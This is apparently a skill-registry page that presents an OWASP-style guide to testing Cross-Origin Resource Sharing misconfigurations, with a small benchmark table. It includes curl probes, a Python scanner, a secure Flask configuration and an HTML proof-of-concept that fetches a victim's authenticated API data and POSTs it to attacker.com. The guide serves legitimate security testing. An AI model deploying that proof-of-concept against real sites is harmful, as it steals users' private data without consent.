Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Testing for Cross-Origin Resource Sharing (CORS)
| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-03 | ✗→✓ | ▲ Improved | 58% | 0% |
| case-17 | ✓→✓ | = Same ✓ | 327% | 0% |
| case-04 | ✓→✓ | = Same ✓ | 67% | 0% |
| case-05 | ✓→✓ | = Same ✓ | 109% | 0% |
| case-06 | ✓→✓ | = Same ✓ | 54% | 0% |
WSTG-CLNT-07
Testing for Cross-Origin Resource Sharing (CORS)
CORS is a browser mechanism that allows controlled access to resources from different origins. Misconfigured CORS policies can allow malicious websites to read sensitive data from authenticated users, leading to data theft.
bash#!/bin/bash TARGET="https://target.com/api/user" # Test with attacker origin curl -sI -H "Origin: https://evil.com" "$TARGET" | grep -i "access-control" # Test with null origin curl -sI -H "Origin: null" "$TARGET" | grep -i "access-control" # Test with subdomain curl -sI -H "Origin: https://sub.target.com" "$TARGET" | grep -i "access-control" # Test reflection curl -sI -H "Origin: https://target.com.evil.com" "$TARGET" | grep -i "access-control"
html<!-- Host this on attacker.com --> <!DOCTYPE html> <html> <body> <script> // If CORS allows evil.com, this will work fetch("https://target.com/api/user", { credentials: "include", }) .then((response) => response.json()) .then((data) => { // Send stolen data to attacker fetch("https://attacker.com/log", { method: "POST", body: JSON.stringify(data), }) }) </script> </body> </html>
python#!/usr/bin/env python3 import requests class CORSTester: def __init__(self, url): self.url = url self.findings = [] def test_cors(self): """Test CORS configuration""" print(f"[*] Testing CORS on {self.url}") test_origins = [ ("https://evil.com", "Arbitrary origin"), ("null", "Null origin"), ("https://target.com.evil.com", "Suffix match bypass"), ("https://eviltarget.com", "Prefix/suffix confusion"), ] for origin, description in test_origins: headers = {"Origin": origin} response = requests.get(self.url, headers=headers) acao = response.headers.get("Access-Control-Allow-Origin", "") acac = response.headers.get("Access-Control-Allow-Credentials", "") if origin in acao or acao == "*": severity = "High" if acac.lower() == "true" else "Medium" print(f"[VULN] {description}: ACAO={acao}, ACAC={acac}") self.findings.append({ "origin": origin, "description": description, "acao": acao, "credentials": acac, "severity": severity }) def generate_report(self): print("\n" + "="*50) print("CORS SECURITY REPORT") print("="*50) if not self.findings: print("\nNo CORS issues found.") else: for f in self.findings: print(f"\n[{f['severity']}] {f['description']}") print(f" Origin: {f['origin']}") print(f" ACAO: {f['acao']}") # Usage tester = CORSTester("https://target.com/api/user") tester.test_cors() tester.generate_report()
python# Proper CORS configuration ALLOWED_ORIGINS = ['https://trusted.com', 'https://app.trusted.com'] @app.after_request def add_cors_headers(response): origin = request.headers.get('Origin') if origin in ALLOWED_ORIGINS: response.headers['Access-Control-Allow-Origin'] = origin response.headers['Access-Control-Allow-Credentials'] = 'true' response.headers['Access-Control-Allow-Methods'] = 'GET, POST, OPTIONS' response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization' return response
| Finding | CVSS | Severity | | ---------------------------------------- | ---- | -------- | | CORS with credentials + arbitrary origin | 8.1 | High | | Wildcard CORS without credentials | 5.3 | Medium | | null origin accepted | 6.5 | Medium |
| CWE ID | Title | | ----------- | ----------------------------------------------------- | | CWE-942 | Permissive Cross-domain Policy with Untrusted Domains |
[ ] CORS headers analyzed
[ ] Arbitrary origins tested
[ ] null origin tested
[ ] Credentials header checked
[ ] PoC created if vulnerable
[ ] Findings documentedOther measured skills in the registry, with their headline benchmark lift.